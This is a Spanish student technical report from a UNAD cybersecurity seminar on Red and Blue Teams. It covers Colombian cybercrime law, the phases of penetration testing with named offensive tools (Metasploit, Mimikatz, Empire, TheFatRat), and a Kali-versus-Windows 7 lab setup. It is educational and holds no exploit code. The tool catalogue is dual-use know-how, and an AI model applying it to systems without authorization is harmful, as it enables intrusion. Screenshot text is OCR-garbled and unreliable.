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RESUMEN

El reporte técnico generado por el "Seminario Especializado: Equipos Estratégicos
en Ciberseguridad: Red Team & Blue Team" de la UNAD describe las acciones y
rasgos de los equipos interdisciplinarios Red Team y Blue Team en el entorno
empresarial, demostrando su relevancia en la prevencion y reduccién de ataques
informaticos.

El informe se organiza en 5 fases que parten de los principios fundamentales de
seguridad informética, llegando hasta la socializacion de las actividades
desplegadas, las cuales partieron de un caso de estudio simulado para ilustrar las
herramientas y procedimientos técnicos inherentes a estos equipos.

Las organizaciones colombianas sufren impactos econdmicos, de productividad y
de seguridad cuando son objeto de ciberataques!. Por ello, es importante
comprender los riesgos asociados con la ciberdelincuencia y la relevancia del
trabajo de los equipos de ciberseguridad red team y blue team, el primero busca
explotar las vulnerabilidades de seguridad mientras que el segundo se enfoca en
proteger los sistemas contra esos atagues; Ambos equipos son importantes para
garantizar la seguridad de una organizacién y se complementan entre si para
proporcionar una estrategia de seguridad completa y eficaz.

la implementacion de los equipos Red Team y Blue Team es detectar las
vulnerabilidades méas importantes y crear un plan de accion para reducir los riesgos
y vulnerabilidades en la infraestructura de tecnologia de la informacion de las
empresas en Colombia.

1 Més de 54.000 denuncias de ciberdelitos se registraron a cierre del tercer trimestre de 2022. (2022,
diciembre 7). CCIT - Cémara Colombiana de Informatica y Telecomunicaciones.
https://www.ccit.org.co/noticias/crecieron-28-las-denuncias-de-ciberataques-a-redes-de-
telecomunicaciones/
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GLOSARIO

ACCESO NO AUTORIZADO: Entrada en un sistema informatico o red sin haber
obtenido la debida autorizacion previa por parte del propietario o administrador. En
este sentido, se considera una actividad ilicita y puede ser sancionada por la ley en
funcién de la gravedad de la accion.

ANTIVIRUS: Software que ha sido desarrollado especificamente para identificar,
prevenir y eliminar virus y otros programas maliciosos de un sistema informéatico o
red

ATAQUE INFORMATICO: Acto deliberado que tiene como objetivo comprometer la
seguridad de un sistema o red informatica. Estos ataques suelen aprovecharse de
vulnerabilidades y debilidades del sistema para acceder a informacion confidencial
o causar dafos en la infraestructura tecnoldgica.

AUTENTICACION: Proceso de verificacion de la identidad de un usuario o
sistema con el fin de autorizar el acceso a recursos protegidos. Es una medida de
seguridad que asegura que solo usuarios autorizados tengan acceso a la
informacion y recursos del sistema

COPNIA: Entidad encargada de la regulacion y supervision de la practica
profesional de la ingenieria en el pais. Su objetivo principal es garantizar la ética y
calidad en el ejercicio de la ingenieria, asi como proteger los intereses del publico
en general.

CIBERSEGURIDAD: Conjunto de estrategias y medidas adoptadas para proteger
los sistemas y redes informaticas de posibles ataques y amenazas, mediante la
implementacion de técnicas y herramientas especializadas para prevenir, detectar
y responder a incidentes de seguridad.

EXPLOIT: cd6digo malicioso o técnica que aprovecha una vulnerabilidad en un
sistema o aplicacion para comprometer la seguridad y permitir que un atacante
obtenga acceso no autorizado o realice acciones maliciosas..



FIREWALL: Herramienta de seguridad informética que actia como una barrera
entre una red privada y una red publica. Su funcion principal es analizar el trafico de
red entrante y saliente para permitir o bloquear el acceso a la red privada segun las
politicas de seguridad establecidas.

INFORMACION: Conjunto organizado de datos con el proposito de transmitir un
mensaje especifico o generalizado. La informacion se compone de elementos
estructurados de manera l6gica para que puedan ser interpretados por un receptor.

MALWARE : Software malicioso, que se desarrolla con el objetivo de dafar,
controlar o tomar control de los sistemas o redes informéticas. Estos programas
maliciosos suelen estar disefiados para realizar acciones dafinas, tales como robo
de informacidn, espionaje, o toma de control de los sistemas infectados.

PHISHING: Estrategia de ingenieria social que se utiliza para obtener informacion
confidencial, en la que se emplean correos electronicos o sitios web falsos con el
objetivo de engafiar a los usuarios. Mediante esta técnica, los atacantes buscan
hacerse pasar por entidades de confianza para obtener datos sensibles como
nombres de usuario, contrasefias, informacion financiera o de identidad, entre otros.

SEGURIDAD DE LA INFORMACION : Conjunto de medidas, politicas, practicas y
procedimientos disefiados para proteger la informacion confidencial y critica contra
el acceso no autorizado, la divulgacion, la destruccion, la alteracion y otros riesgos
qgue puedan afectar su disponibilidad, integridad y confidencialidad.

VULNERABILIDAD: Debilidad o defecto presente en un sistema o red informatica
gue puede ser utilizado por un atacante para explotar su seguridad y obtener acceso
no autorizado a informacion confidencial, interrumpir el funcionamiento normal del
sistema o causar dafios en la infraestructura tecnolégica.



INTRODUCCION

El presente informe técnico ha sido elaborado con el propdsito de presentar una
contextualizacion de los conceptos de ciberseguridad desde el enfoque normativo y
juridico colombiano, abordado una serie de preguntas relacionadas con las leyes de
seguridad de la informacién de este pais, especialmente la ley 1273 de 2009, se
realiza un analisis personal sobre la aceptacion de una oferta laboral en la empresa
caso de estudio denominada WhiteHouse Security, considerando la firma de una
clausula de confidencialidad y la realizacidon de tareas asignadas.

Se incluye un analisis del caso de espionaje del ejército colombiano conocido como
Operacién Andrémeda Buggly, que es relevante en el contexto de la ciberseguridad
en Colombia.

En cuanto a la ejecucion de pruebas de intrusion, se describe el proceso detallado
para encontrar vulnerabilidades en el sistema operativo Windows 7 x64, partiendo
de una situacion problema planteada en el escenario y la realizacion de pruebas de
intrusion desde el sistema operativo Kali Linux.

como estudiante, he tenido la oportunidad de profundizar en los temas de
ciberseguridad, aplicando mis conocimientos en la practica, lo cual ha sido una
experiencia enriqguecedora y desafiante.

El informe técnico cubre una amplia variedad de temas relacionados con la
ciberseguridad, desde la definicion de conceptos hasta la descripcion de
caracteristicas y diferencias en cuanto a la contencion de ataques informaticos;
Espero que este informe contribuya a enriquecer el conocimiento de los lectores
interesados en el tema de la ciberseguridad.
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JUSTIFICACION

Es fundamental tener un conocimiento profundo de los conceptos basicos y la
normativa en torno a la seguridad informética, especialmente en nuestro Pais; Por
lo tanto, es de gran importancia investigar y comprender las definiciones técnicas y
juridicas, las cuales proporcionan una base sélida para ejercer la profesion en
seguridad informatica.

Es fundamental tener un conocimiento profundo de las normativas colombianas en
torno a la seguridad informatica y actuar de manera adecuada como empleado tanto
en el sector publico como privado para evitar cometer delitos que podrian tener
consecuencias graves para el desempefio del ingeniero. En este sentido, en
Colombia se encuentran vigentes la "Ley 1273 de 2009" y el "Cédigo de Etica"
establecido por la entidad COPNIA, los cuales regulan y establecen parametros
éticos en nuestra profesion

El dia de hoy, las empresas han convertido en prioridad el salvaguardar los activos
de informacién, con el fin de asegurar su disponibilidad, integridad y
confidencialidad.

Para este aseguramiento, es preciso contar con herramientas y personal altamente
capacitado en los temas de seguridad informatica; En este informe se han
recopilado diversas herramientas y elementos necesarios para poder realizar esta
tarea con altos niveles de calidad y eficacia, con el objetivo de abordar los desafios
que se presentan en el ambito de la seguridad informatica y garantizar la proteccion
de la informacion de las empresas.?

2 Romero Castro, M. I., Figueroa Moran, G. L., Vera Navarrete, D. S., Alava Cruzatty, J. E., Parrales
Anziles, G. R., Alava Mero, C. J., Murillo Quimiz, A. L., & Castillo Merino, M. A. (2018). Introduccion
a la seguridad informética y el andlisis de vulnerabilidades (1.2 ed.). Editorial Cientifica 3Ciencias.
https://doi.org/10.17993/IngyTec.2018.46
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OBJETIVOS

1.1 OBJETIVO GENERAL

Generar una descripcion detallada del proceso involucrado en los escenarios
propuestos para las actividades del equipo Blue Team y Red Team.

1.2 OBJETIVOS ESPECIFICOS

Evaluar las acciones de los equipos Red Team & Blue Team de una
organizacion en el marco de los criterios éticos y legales.

e Demostrar vulnerabilidades en un sistema informético a partir del uso de
metodologias y técnicas de intrusion.

e Formular estrategias de contencidn mediante el andlisis de riesgos y
vulnerabilidades en una infraestructura TI.

e Reconocer la relevancia de los equipos de ciberseguridad en las empresas
para prevenir y contener ataques Informéticos.

e Formular recomendaciones y conclusiones, que aporten a mejorar las
estrategias usadas por RedTeam & BlueTeam
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2 ETAPA1-CONCEPTOS EQUIPOS DE SEGURIDAD

2.1 DENTRO DEL MARGEN LEGAL EN COLOMBIA SOBRE DELITOS
INFORMATICOS Y PROTECCION DE DATOS PERSONALES REDACTE
CON SUS PROPIAS PALABRAS QUE LEGISLACION “LEYES,
DECRETOS” EXISTEN ACTUALMENTE Y LAS CARACTERISTICAS
PRINCIPALES DE CADA LEY.

En Colombia, los delitos informaticos estan regulados por la Ley 1273 de 2009, que
establece un marco legal para la prevencién y el castigo de los delitos informaticos
y electronicos en el pais

LEY 1273 DE 2009

“Por medio de la cual se modifica el Cdédigo Penal, se crea un nuevo
bien juridico tutelado - denominado “de la proteccion de la informacién
y de los datos”- y se preservan integralmente los sistemas que utilicen
las tecnologias de la informacién y las comunicaciones, entre otras
disposiciones.”®

Articulo 269A La utilizacion inapropiada de los
sistemas informaticos puede llevar
a consecuencias graves. Cuando
una persona, que no se encuentra
autorizada o no cumple con los
términos acordados, accede a un
sistema informatico protegido o no
seguro, 0 permanece en él en
contra de la voluntad de los
encargados de administrarlo, esta
violando las politicas de seguridad
informatica y puede enfrentar
cargos legales

Articulo 269B
La obstruccion ilegal de sistemas
informéaticos o) redes de

3 POLICIA NACIONAL. Tramites, servicios e informacion. [en linea]. 10 febrero 2022 Consultado: 11
de febrero de 2023. Disponible en internet: https://www.policia.gov.co/denuncia-virtual/normatividad-
delitos-informaticos
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telecomunicaciones es una
actividad que puede tener serias
consecuencias. Cuando alguien
impide o dificulta el funcionamiento
normal de sistemas informaticos,
datos almacenados en ellos o redes
de telecomunicaciones sin
autorizacion, estd violando las
politicas de seguridad informatica y
puede enfrentar cargos legales. Es
importante respetar las normas
establecidas para garantizar el
correcto funcionamiento de estos
sistemas y redes.

Articulo 269C

La interceptacibn de  datos
informaticos sin autorizacién previa
puede ser considerada una
actividad ilegal. Cuando una
persona interfiere en la transmision
de datos informaticos o en las
sefales electromagnéticas que se
emiten durante el proceso, sin una
orden judicial previa, y sin contar
con la autorizacion de los
propietarios de los sistemas
involucrados, esta vulnerando los
derechos de privacidad y seguridad
de los usuarios y puede enfrentar
cargos legales.

Articulo 269D

Causar dafios a  sistemas
informaticos sin autorizacién previa
puede ser considerado un delito.
Cuando una persona destruye,
dafia, borra, deteriora, altera o
suprime datos informaticos,
sistemas de procesamiento de
informacion, sus partes logicas o
componentes sin tener
autorizacion, estq violando las
politicas de seguridad informatica y
puede enfrentar cargos legales.

Articulo 269E

Producir, transportar, distribuir o
vender malware u otros programas
informaticos que puedan causar
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dafos a sistemas informaticos sin
autorizacion previa puede ser
considerado un delito. Cuando una
persona obtiene, envia, introduce o
extrae programas informaticos
maliciosos dentro del territorio del
pais sin autorizacion, esta violando
las  politcas de  seguridad
informatica y puede enfrentar
cargos legales.

Articulo 269F

La violacibn de datos personales
puede ser considerada un delito.
Cuando wuna persona obtiene,
recopila, sustrae, ofrece, vende,
permuta, envia, compra, intercepta,
divulga, modifica o utiliza claves
personales contenidas en
documentos, archivos, bases de
datos o medios analogos sin tener
derecho a hacerlo, esta vulnerando
la privacidad y seguridad de los
usuarios y puede enfrentar cargos
legales.

Articulo 269G

La suplantacion de identidad en un
sitio web con el fin de obtener datos
personales puede ser considerada
un delito. Cuando una persona
disefa, desarrolla,  transmite,
vende, ejecuta, programa 0 envia
paginas electrénicas, enlaces o
pop-ups con fines ilicitos y sin tener
derecho a hacerlo, esta vulnerando
la privacidad y seguridad de los
usuarios y puede enfrentar cargos
legales.

Articulo 269H

Las penas establecidas por las
disposiciones de este titulo pueden
ser aumentadas entre la mitad y las
tres cuartas partes. Este incremento
en las penas tiene como objetivo
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agravar la sancién impuesta al
infractor, en funcién de la gravedad
del delito y las circunstancias
especificas del caso.

Articulo 269I
El robo por medios informaticos y
similares es considerado un delito.
Cuando una persona vulnera las
medidas de seguridad informatica
manipulando sistemas informaticos,
redes de sistemas electrénicos y
realizando los actos previstos en la
ley, estd cometiendo un delito y
puede enfrentar cargos legales.

Articulo 269J La transferencia involuntaria de
bienes es considerada un delito.
Cuando wuna persona realiza
operaciones informéticas o utiliza
medios similares para transferir
activos sin el consentimiento de un
tercero, con animo de lucro y en
perjuicio del mismo, esta
vulnerando la propiedad y puede
enfrentar cargos legales.

Ley 527 de 1999

la misma fue firmada y expedida en la republica de Colombia en el afio 1999 el 18
de agosto la cual trata sobre la reglamentacion del acceso y uso de datos, comercio
electronico y firmas digitales por ultimo se establecio cuales seran las entidades
certificadas para tales fines y otras disposiciones

Por medio de la cual se define y reglamenta el acceso y uso de los mensajes de
datos, también del comercio electronico, de las firmas digitales, y se establecen las
entidades de certificacion y se dictan otras disposiciones.

Ley 962 de 2005

Fue expedida en la republica de Colombia el dia 8 de julio del 2005, por medio de
la cual se establecieron disposiciones legales en base a los tramites administrativos
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de los organismos y entidades del Estado particularmente para los que son
funcionarios publicos.

Ley 1341 de 2009

Fue expedida en la republica de Colombia el dia 30 de julio del 2009, “Por la cual
se definen principios y conceptos sobre la sociedad de la informacion y la
organizacion de las Tecnologias de la Informacion y las Comunicaciones TIC, se
crea la Agencia Nacional de Espectro y se dictan otras disposiciones.”

Ley 1581 de octubre 17 de 2012

Fue expedida en la republica de Colombia del dia 17 de octubre del afio 2012, por
medio de la cual se prohibe la trasferencia de datos a paises que no tiene regulados
la proteccion de datos. “Esta prohibicion NO REGIRA cuando se trate de:
Informacién respecto de la cual el Titular haya otorgado su autorizacion expresa e
inequivoca para la transferencia.”

Decreto 1377 de 2013

En 2013 se emitid una regulacion en Colombia que complementa la Ley 1581 de
2012. Esta regulacion tiene como finalidad establecer los procedimientos para que
todas las personas tengan acceso a la informacién que se ha recopilado sobre ellas
en bases de datos o archivos, y puedan actualizar o corregir dicha informacién de
acuerdo con los derechos y garantias constitucionales establecidos en el articulo 15
de la Constitucion.

DOCUMENTO COMPES 3854 POLITICA NACIONAL DE SEGURIDAD DIGITAL

“La politica nacional de seguridad digital, objeto de este documento, cambia el
enfoque tradicional al incluir la GESTION DEL RIESGO como uno de los elementos
mas importantes para abordar la seguridad digital. « Las estrategias para alcanzar
su objetivo principal son: Fortalecer las capacidades de las mudltiples partes
interesadas, para: ¢ Identificar « Gestionar « Tratar « Mitigar los riesgos de seguridad
digital en sus actividades socioeconémicas en el entorno digital.”

4 COLOMBIA. Ministerio de Tecnologias de la Informacién y las Comunicaciones
Ley 1341 de 2009 [online]. MINTIC, julio 30 del 2009. Consultado el 11 de febrero
de 2023. Disponible en Internet:
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=36913 11

5 JARAMILLO, Alejandro. CONPES 3854copyright © 2016, fireeye, inc. all rights reserved.
de la proteccion reactiva a la respuesta proactiva junto a fireeye. [en linea]. 2014 Consultado: 09
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DOCUMENTO COMPES 3995 POLITICA NACIONAL DE CONFIANZA Y
SEGURIDAD DIGITAL

“El documento contiene un analisis de la situacién actual del pais respecto a la
seguridad digital, en el que se destacan las debilidades existentes y se establecen
los objetivos de la politica propuesta. Asimismo, se presenta un Plan de Accién a
corto plazo para los préximos dos afios, con medidas concretas para: (i) mejorar las
capacidades de seguridad digital de los ciudadanos, el sector publico y el sector
privado; (ii) actualizar el marco de gobernanza en materia de seguridad digital; y (iii)
analizar la adopciéon de modelos, estandares y marcos de trabajo en seguridad
digital, prestando especial atencién a las nuevas tecnologias para preparar al pais
ante los desafios de la llamada Cuarta Revolucién Industrial”®

2.2 ENEL MUNDO DE LA CIBERSEGURIDAD EXISTEN PROCESOS
DEFINIDOS PARA PODER EJECUTAR DE FORMA ORGANIZADA LO
QUE SE CONOCE COMO PRUEBAS DE PENETRACION O PENTESTING;
USTED COMO FUTURO EXPERTO DEBERA REDACTAR CON SUS
PALABRAS Y DEFINIR CADA UNA DE LAS ETAPAS DEL PENTESTING,
DENTRO DE LA DEFINICION INCORPORARA UN EJEMPLO DE UNA
HERRAMIENTA QUE SE UTILICE PARA CADA UNA DE LAS ETAPAS
DEL PENTESTING.

proceso de evaluacion de seguridad que busca identificar las
vulnerabilidades y debilidades en un sistema o aplicacion informético. El
objetivo principal es simular un ataque malintencionado para evaluar la
efectividad de los controles de seguridad actuales y determinar el impacto
potencial de un ataque exitoso.

El pentesting es realizado por profesionales de seguridad cibernética, que
utilizan una combinacion de herramientas automatizadas y técnicas
manuales para simular un ataque y evaluar la capacidad del sistema o
aplicacion para resistir la explotacion. Los resultados del pentesting se
utilizan para identificar y corregir las debilidades de seguridad y mejorar la
defensa contra ataques reales.

de febrero de 2023. Disponible en internet: https://www.minambiente.gov.co/images/tecnologias-de-
la-informacion-y-comunicacion/pdf/conpes 3854 politica_nacional seguriad digital.pdf

6 PROGRESO. Confianza y Seguridad Digital. Documento CONPES 3995

Consejo Nacional de Politica Econdmica y Social (CONPES) [en linea]. Consultado: 09 de febrero
de 2023. Disponible en internet:
http://www.fundacionmicrofinanzasbbva.org/revistaprogreso/confianza-seguridad-digital-
documento-conpes-3995/
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Es importante destacar que el pentesting solo debe ser realizado con el
permiso previo y autorizacion del propietario del sistema o aplicacion, y debe
seguir una metodologia estricta para evitar dafar el sistema o aplicacion
durante el proceso de evaluacion.

Fases de pentesting
1. FASE: RECOPILACION DE INFORMACION / ENUMERACION

La recopilacién de informacion involucra la obtencion de informacién previa sobre el
sistema o aplicacion a ser evaluado, incluyendo la topologia de red, la version de
software, los servicios en ejecucion.

La enumeracion se refiere a la identificacion de los recursos y servicios activos en
el sistema o aplicacion, como servidores, puertos abiertos, servicios de correo
electronico.

La recopilacion de informacion y la enumeracion proporcionan una vision general
de los componentes y recursos del sistema permiten a los profesionales de
seguridad informatica identificar posibles puntos débiles y objetivos de ataque.

Es fundamental respetar los términos y condiciones acordados previamente con el
propietario del sistema y seguir una metodologia rigurosa para evitar dafar el
sistema durante el proceso de evaluacion.

En esta etapa, se emplean algunas de las herramientas mas populares, tales como:

Nmap: herramienta de codigo abierto que se utiliza para explorar redes, realizar
inventario de dispositivos y servicios, y detectar vulnerabilidades.

Whois: permite consultar informacién sobre el propietario de un dominio o direccion
IP.

nslookup: utilidad de linea de comandos que se utiliza para obtener informacién de
resolucion de nombres de dominio (DNS) de un servidor DNS

theHarvester: una herramienta de recopilacion de informacion que busca
informacion en diferentes fuentes, incluyendo motores de basqueda, redes sociales,
y directorios de correo electronico.

Metasploit: una plataforma de pruebas de penetracion que incluye numerosas

herramientas de recopilacion de informacién y enumeracién, asi como la capacidad
de llevar a cabo pruebas de explotacion.
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2. FASE: ANALISIS DE VULNERABILIDADES

Se trata de ejecutar todas las acciones posibles para poner en riesgo el objetivo,
sus usuarios o su informacion.

En esta fase se utilizan diversas herramientas que son comunmente empleadas.:

Nessus herramienta de escaneo de vulnerabilidades que se utiliza para evaluar y
detectar vulnerabilidades en sistemas y redes

OWASP ZAP (Zed Attack Proxy) es una herramienta gratuita y de codigo abierto
utiizada para identificar y explotar vulnerabilidades en aplicaciones web.
Proporciona una amplia gama de funcionalidades, incluyendo la inyeccién de
payloads, la identificacién de vulnerabilidades conocidas, la exploracién de sitios
web y la realizacion de pruebas de seguridad automatizadas y manuales.

Burp Suite proporciona un conjunto integral de herramientas para interactuar y
manipular solicitudes HTTP, automatizar pruebas de seguridad y realizar otras
actividades para identificar y explotar vulnerabilidades en aplicaciones web. Las
herramientas proporcionadas por Burp Suite incluyen un proxy de interceptacion, un
escaner de aplicaciones web, una herramienta de intrusion, una herramienta de
repeticion entre otras

3. FASE: EXPLOTACION DE VULNERABILIDADES

La explotacion de vulnerabilidades se refiere al proceso de aprovechar una debilidad
en un sistema o aplicacion informético para ganar acceso no autorizado o causar
dafos.

Durante esta fase, se llevan a cabo acciones para comprometer los sistemas
objetivos mediante la explotacién de vulnerabilidades identificadas o el uso de
credenciales obtenidas previamente. Para ello, se utilizan diversas herramientas
como OpenVAS, Nessus, BeEF, Metasploit Framework, Routersploit, PowerSploit,
SPARTA, Xarp y SQLMap.

4. FASE: POST EXPLOTACION
En la fase de post-explotacion se busca mantener y expandir el acceso conseguido
a un sistema vulnerable, pudiendo incluir la instalacién de malware persistente, la

extraccion de informacion sensible y la manipulacion de sistemas y aplicaciones.

Para llevar a cabo esta fase, se utilizan diversas herramientas, entre las que se
destacan:
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Empire
Enumdb
Mimikatz
Poet
Pwnat
TheFatRat

Es importante tener en cuenta que esta fase no siempre es aplicable, dependiendo
de la naturaleza del objetivo y la informacion obtenida en fases anteriores.

5. FASE: REPORTE

Documento detallado que resume los resultados de una prueba de penetracion
(pentesting). Este informe incluye informacién sobre los objetivos y metodologias
utilizadas durante el pentesting, asi como los resultados y las recomendaciones
para corregir las vulnerabilidades identificadas.

Se sugiere registrar las soluciones de seguridad apropiadas para abordar las
deficiencias de seguridad detectadas en etapas anteriores. Esto puede ayudar a
nuestro cliente o a la organizacion afectada a corregir las vulnerabilidades
identificadas.

Entre las herramientas utilizadas para crear informes de vulnerabilidades se
encuentran:

Metasploit Framework
OWASP ZAP

Nessus

OpenVAS

2.3 LAS HERRAMIENTAS DE CIBERSEGURIDAD SON DE VITAL
IMPORTANCIA, ADEMAS QUE EXISTE UN GRAN ABANICO DE
POSIBILIDADES DE HERRAMIENTAS EXISTENTES Y SOFTWARE
ESPECIALIZADO PARA DESARROLLAR HERRAMIENTAS PROPIAS.
USTED COMO FUTURO EXPERTO DEBE DEFINIR Y EXPLICAR LAS
SIGUIENTES HERRAMIENTAS:

* Metasploit

Metasploit es un framework de seguridad informética que se utiliza para realizar
pruebas de penetracion y evaluaciones de seguridad. Fue desarrollado por H.D.
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Moore y se lanz6 por primera vez en 2003 como una herramienta de seguridad
gratuita y de cddigo abierto.

Metasploit proporciona una plataforma centralizada para realizar pruebas de
penetracion, incluyendo la explotacion de vulnerabilidades, la creacion y utilizacion
de exploits y la generacion de payloads maliciosos.

* Nmap

Nmap es una herramienta de escaneo de red de cddigo abierto que se utiliza para
mapear redes y recopilar informacion sobre sistemas y dispositivos conectados a
ellas. Nmap es un acrénimo que significa "Network Mapper".

Se pueden realizar escaneos de red para recopilar informacién sobre los sistemas
y dispositivos conectados, incluyendo su direccion IP, sistema operativo, servicios
en ejecucion y otros detalles importantes.

* OpenVas

Es un marco de pruebas de penetracion de codigo abierto que se utiliza para evaluar
la seguridad de sistemas y redes. Proporciona una variedad de herramientas y
utilidades para el escaneo de vulnerabilidades y la evaluacién de riesgos.

Permite realizar evaluaciones exhaustivas de seguridad para identificar y evaluar
las vulnerabilidades en sistemas y redes , escaneos de puertos, deteccién de
software desactualizado.

OpenVAS cuenta con una base de datos actualizada de vulnerabilidades, lo que

permite a los usuarios detectar de manera efectiva vulnerabilidades conocidas y
evaluar su posible impacto en la seguridad de sus sistemas y redes.

Servicios en linea:

* ExploitDB

Base de datos que contiene informacién sobre vulnerabilidades y exploits de
seguridad de software que se utilizan en el desarrollo y pruebas de herramientas de
seguridad en el ambito de la seguridad informética.

La base de datos contiene una amplia variedad de exploits para diferentes

plataformas, sistemas operativos y aplicaciones, y es actualizada regularmente con
los ultimos descubrimientos y desarrollos. Algunos de los exploits incluidos son para
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sistemas operativos como Windows y Linux, navegadores web, aplicaciones de
mensajeria, entre otros.
https://www.exploit-db.com/

*CVE

Es un diccionario publico que contiene informacion sobre vulnerabilidades de
seguridad de software. Cada entrada en CVE identifica una vulnerabilidad Unica y
se utiliza como un estdndar para compartir informacion sobre vulnerabilidades entre
diversas herramientas y organizaciones.

https://cve.mitre.org/

2.4 PARA FINALIZAR ESTA ACTIVIDAD ES IMPORTANTE QUE USTED
RECONOZCA, ANALICE Y CONFIGURE “BANCO DE TRABAJO” LO
SOLICITADO EN EL ANEXO 1 - ESCENARIO 1 SOBRE EL CUAL
DEBERA TRABAJAR ACTIVIDADES QUE CONTIENEN UN ALTO GRADO
DE TECNICIDAD. LO SOLICITADO EN EL ANEXO 1

— escenario 1 es lo siguiente:

e Paso A: Descargar la herramienta virtualizadora “VirtualBox” en su
altima version.

llustracion 1. Descarga maquina virtual

JirtualBox

VirtualBex is a powerful x86 and AMD64/Intel64 virtualization preduct for enterprise as well as home use. Not only is VirtualBox an
extremely feature rich, high performance product for enterprise customers, it is also the enly professional solution that is freely
available as Open Source Software under the terms of the GNU General Public License (GPL} version 3. See "About VirtualBox" for
an introduction.

Presently, VirtualBox runs on Windows, Linux, mac0S, and Solaris hosts and supports a large number of guest operating systems
including but not limited to Windows (NT 4.0, 2000, XP, Server 2003, Vista, Windows 7, Windows 8, Windows 10}, DOS/Windows
3.%, Linux (2.4, 2.6, 3.x and 4.x), Solaris and OpenSolaris, 05/2, and OpenBSD.

VirtualBox is being actively developed with frequent releases and has an ever growing list of features, supported guest operating

systems and platforms it runs on. VirtualBox is a community effort backed by a dedicated company: everyone is encouraged to
contribute while Oracle ensures the product always meets professional quality criteria.

Download

VirtualBox .0

24


https://www.exploit-db.com/
https://cve.mitre.org/

Fuente: propia

En mi caso realizare las pruebas en Proxmox 7.3

llustracion 2. Descarga Proxmox

Home Virtualization Backup Email Security Downloads Training Partners News About us

ome | Downloads Proxmo tual Environment | 1SO Images
1SO Images Archive

1SO Images Files

Proxmox VE 7.3 ISO Installer — \ Proxmox VE 7.3 ISO Installer
LEIEED B0 AR LB S A (BitTorrent)

Version: 7.3-1 | 22 November 2022
Festmers ‘ | Version: 7 3-1 ‘ |

Download

Download

Fuente: propia

. Paso B:
Debido a que los foros no se abrieron en tiempos establecidos, se decidio

implementar proxmox para poder llevar a cabo el laboratorio ya que no se tenian las
OVA necesarias.

Como siguiente paso, se subiran las imagenes de los sistemas operativos que se
van a virtualizar.

llustracion 3. Carga ISO en Proxmox

Cargar (59,
Archivo: C:\fakepathikali-linux-2022_4-ins | [l el gl =]
File name: kali-linux-2022 4-installer-amd&4d iso

File size: 3.54 GiB

MIME type: -

Hash algorithm: Mone

Fuente: propia
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A continuacion observamos las dos imagenes en el servidor proxmox , y procedo a
realizar la instalacion de los dos Sistemas operativos .

llustracion 4.imagenes I1SO

Almacenamiento 'local” en el nodo ‘pve’

& Resumen
Backups

(2) 150 Images
[ CT Templates

m' Permisos

Fuente: propia

Observamos las dos maquinas virtuales corriendo (Windows y Kali )

llustracion 5. Maquinas Virtuales Instaladas

= Centro de datos

Download from URL Eliminar

es_w 7 _AlO x86x64 july2016.iso

B pve

L4 100 (windows)
Ll 101 (Kali)
= [Jiocal (pve)

= (]local-lvm (pve)

Fuente: propia

kali-linux-2022 4-installer-amd&4.iso

| Q, Buscar

Tipo
& Resumen
[J Motas m qemd
Gb gemu
»_ Shell
S storage
& Sistema -
= storage
= Red

4 Certificados
@ DNS
@ Hosts
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e Paso C: Es necesario verificar la comunicacion entre cada una de las
méaquinas con Windows y la maquina de Kali Linux. Es importante recordar
no encender las tres maquinas simultdneamente para evitar la sobrecarga de
los recursos del equipo host. Lo recomendable es encender primero una
maquina con Windows y luego encender la maquina de Kali Linux.

Desde la maquina Windows configuramos la IP

llustracion 6. configuracion IP estatica

Cbtener una direccian IP automaticamente

@) Usar la siguiente direccion IP:

Direccian IP: 192 . 168 , 20 , 45
Mascara de subred: 255,255,255, 0
Puerta de enlace predeterminada: 192 . 168 ., 20 . 1

Fuente: propia

Desde la consola de comandos verificamos la IP configurada

llustracion 7. verificacion IP

BN C\Windows\system32iemd. exe === E
Copyright <c? 200? Microsoft Corporation. Beservados todos los derechos.

C:sUserssWindows>ipconfig

Conf iguracidn IP de Windows

Adaptador de Ethernet Conexidn de Area local:

Sufijo DNS especifico para la cunex1u
Direccidn IPv6 . . . . . . . . . .
Direccion IPv6 . . . . . -

484:dbPc:fcdB:Paca:5dBe 1875 :hd??
484:dbPc:fcdB:d267:b567:9919:746a
484:db?c:fc4B:958e:Pccd:6led:abf?
eBB::d967:b567:9917:946ax11

Direccidon IPub tempural. e e e e .

Uinculo: direccion IPuf local. . . :

Direccion IPvd. . . . . . . & &« & & & « . 192 .168_20.45

Mascara de subred . . . . C e e e e 255.255_.255.8

Puerta de enlace pledetelm1nada - . : felB::1682:5hif:fe@B: 2011
192.168.208.1

Adaptador de tdnel izatap.{27CB5957-C?61-41B1-B73B-94C31E12F5AF>:

Eztado de los medios. . . . . - . medios desconectados
Sufijo DHS especifico para la cunex1un.

C:sUserssWindows >

Fuente: propia
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Desde la maquina Kali configuramos la IP

llustracion 8. configuracion IP estatica

Ethernet

Method Manual

Addresses
Address
192.168.20.46

Fuente: propia

Metmask
255.255.255.0

DCB

Proxy

IPv4 Settings

Gateway
192.168.20.1

Desde la terminal verificamos la IP configurada

llustracion 9. verificacion IP

-~

'UE,BEDADE#ET,EUNNINE,MULTI'

.46 netmask 255.
inete 2800:484:db7c:fc4d:

@<global>

bytes 5
dropped @ overruns @

73<UP, LOOPBACK , RUNNING> mtu 65

inet 127.8.8.1 netmas
ineté ::1 prefixlen 1
loop txgueuelen 1000

RX pa 8 bytes 440 ( @ B)

RX errors @ dropped @ runs @
™ 8 bytes 44 !

TX r< @ dropped @

Fuente: propia
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Desde la maquina Windows realizamos ping a la maquina Kali

llustracion 10. Ping Maquina Kali

Microsoft Windows [Uersidn 6.1.76H11
Copyright <c> 200? Microsoft Corporation. BReservados todos los derechos.

C:wUserssWindows >ping 192 .168.260._46

1%2.168.200.46 con 32 hytes de datos:

192 .168.200.46: hytes=32 tiempo<im TTL=6+4

122.168.280_.46: bhytes=32 tiempo<im TTL=564

192 .168.200.46: bhytes=32 tiempo<im TTL=6+4
Rezpuesta desde 172.168.28.46: bytez=32 tiempo<im TTL=64

Eztadisticas de ping para 192.168.28.46:
Pagueteszs: enviados = 4, recibidoz = 4, perdidoz = 8
(Bx perdidosl.

Tiempos aproximados de ida y vuelta en milisegundos:
Minimo = Bms, Maximo = Bms, Media = Bms

Fuente: propia

Desde la maquina kali realizamos ping a la maquina Windows

llustracion 11. Ping Maquina windows 7

[j_ ning 192.168.20.45
PING 192.168.2@.45 (192
64 bytes from 192.168
64 bytes from 192.168
64 bytes from 192.168

64 bytes from 192.168

64 bytes from 192.168

64 bytes from 192.168.20.45: -
64 bytes from 192.168.20.45: i eq=7 28 time=@.385

Fuente: propia

e Paso D: Evidenciar con printscreen el montaje del banco de trabajo
